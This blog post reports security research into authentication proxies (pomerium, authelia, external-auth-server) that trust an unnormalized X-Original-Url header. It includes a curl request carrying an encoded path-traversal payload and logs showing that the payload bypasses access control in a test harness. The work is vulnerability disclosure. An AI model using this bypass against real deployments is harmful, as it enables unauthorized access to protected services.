Hunting for buggy authentication/authorization services on github

Posted on Nov 28, 2021

To successful bypass access control using path traversal in $request_uri, you need to have buggy authentication/authorization service. Buggy in a way it’s not normalizing url/uri that is part of access control decision. Let me find more of those on github that are relying on X-Original-Url. There is high chance that this header is populated from $request_uri variable and not protected in any way.

pomerium

Pomerium is an identity-aware proxy that enables secure access to internal applications.

In research I was using pomerium in version 0.15.5.

Let’s look into code. Here is how X-Original-Url header is used:

Later this originalURL is taking part in decision based on polices. Policy definition can include path, which is key information here:

As you can see there are two possibilities interesting for exploitation: Prefix and Regex.

In official docs you can find how to specify such policy:

For now I’m not going to exploit it further as it quite complicated to setup environment for it. I cannot be 100% sure for successful exploitation, but I have strong indicators in code that it will occur.

authelia

Authelia is an open-source authentication and authorization server providing two-factor authentication and single sign-on (SSO) for your applications via a web portal. It acts as a companion for reverse proxies like nginx, Traefik or HAProxy to let them know whether requests should either be allowed or redirected to Authelia’s portal for authentication.

In research I was using authelia in version 4.32.2.

The official description of the authelia perfectly matching my exploitation scenario. I just need to have policy based on path and no defense on X-Original-Url header.

Let’s check code first:

X-Original-Url header is take from request without much of validation and placed later as targetURL:

After that targetURL is part of logic to make decision whether request is passed as is or required to be authenticated:

In official documentation there is example of rule using in resource regex:

For me, this case is very similar to pomerium. I will also not go deeper for now in exploitation. It’s visible for me, that authelia has strong indicator for successful exploitation, but one more time I cannot be 100% sure.

travisghansen/external-auth-server

travisghansen/external-auth-server has primary function to help Kubernetes users to deal with different authentication schemas. In documentation I could find ideal case for bypass. It’s using request_js plugin to make decision based on X-Original-Url header:

To be sure, whether any normalization is in place, I have checked code that is making this parentReqInfo object:

It’s in utils.js in function get_parent_request_info:

I had some problems to run travisghansen/external-auth-server in Kubernetes. Mostly because it’s quite complicated. So to really verify if it’s vulnerable, I have copied part of utils.js and tested only it:

'use strict';

const express = require('express');
const utils = require('./utils')

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';

// App
const app = express();
app.get('/verify', (req, res) => {
    console.log(req.headers);

    const parentReqInfo = utils.get_parent_request_info(req);

    console.log(parentReqInfo);

    if (parentReqInfo.parsedUri.path.startsWith('/public-service/')) {
        res.statusCode = 200;
        res.send();
    }

    const apiKey = req.headers['X-Api-Key'];
    if (apiKey == "secret-api-key") {
        res.statusCode = 200;
        res.send();
    }

    res.statusCode = 401;
    res.send();
});

app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

First send request using curl:

curl -v http://app.test/public-service/..%2Fprotected-service/protected

Next check logs of auth-service:

kubectl logs auth-service-node-859ccc54cc-8cnlp -f
{
    'x-request-id': 'afd1f7fbc4c45c2db17cc1f72c5ec834', 
    host: 'auth-service-node.default.svc.cluster.local', 
    'x-original-url': 'http://app.test/public-service/..%2Fprotected-service/protected', 
    'x-original-method': 'GET', 
    'x-real-ip': '172.17.0.1', 
    'x-forwarded-for': '172.17.0.1'
},
{
    uri: 'http://app.test/public-service/..%2Fprotected-service/protected', 
    parseduri: {
        scheme: 'http', 
        userinfo: undefined, 
        host: 'app.test', 
        port: undefined, 
        path: "/public-service/..%2Fprotected-service/protected", 
        query: undefined, 
        fragment: undefined, 
        reference: 'absolute'
    },
    parsedQuery: {}, 
    method: 'GET'
}

First {…} is from console.log(req.headers) and second {…} is from console.log(parentReqInfo). Path is not normalized and wrong decision is made.

I got protected data. One more time 😅

Summary

I have found three repositories that are using X-Original-Url header and are not protecting against manipulation.


Thanks for reading! You can follow me on Twitter.